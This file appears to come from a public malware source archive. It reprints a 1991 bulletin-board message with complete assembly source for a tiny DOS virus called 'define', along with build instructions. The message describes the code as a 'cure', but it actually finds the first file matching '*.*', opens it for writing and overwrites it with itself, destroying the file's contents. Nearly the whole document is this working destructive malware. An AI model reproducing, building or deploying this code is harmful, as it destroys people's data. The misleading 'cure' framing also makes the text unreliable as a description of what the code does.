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https://github.com/vxunderground/MalwareSourceCode.git
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68 lines
1.6 KiB
NASM
68 lines
1.6 KiB
NASM
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;===========================================================================
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;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS
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;From: Mike Hathorn Refer#: NONE
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;To: All Recvd: NO
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;Subj: define Conf: (54) Virus
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;---------------------------------------------------------------------------
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;Gentlemen,
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;The following assembly source code is the cure for the define
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;virus. Define, because it is my belief that by the definition
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;of a virus, no stable virus can be written smaller than define.
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; Code compiled under MASM ver 4.00
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; Use DOS EXE2BIN to convert to .COM file
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; Code assumes SI=100h, AX=00h
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; (c) 1991 Mithrandir
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TITLE DEFINE
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CODE SEGMENT
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ASSUME CS : CODE
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ORG 100h
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VIRUS_CURE:
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XCHG CX,AX ;exchange register values and setup search
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;for normal files
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MOV AH,4Eh ;setup search for first match
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MOV DX,OFFSET File ;point to search criteria
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INT 21h ;search for any normal file
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MOV AX,3D01h ;setup open file with write access
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MOV DX,09Eh ;point to file ASCIIZ spec
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INT 21h ;open file
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XCHG BX,AX
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MOV AH,40h ;setup write to file
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MOV DX,SI ;write this code
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MOV CX,SI ;this many bytes
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INT 21h ;write it
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RET
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File:
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DB '*.*',0
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CODE ENDS
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END VIRUS_CURE
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;Mithrandir
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;--- Opus-CBCS 1.14
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;* Origin: The Mad Dog Opus (5:7104/3.0)
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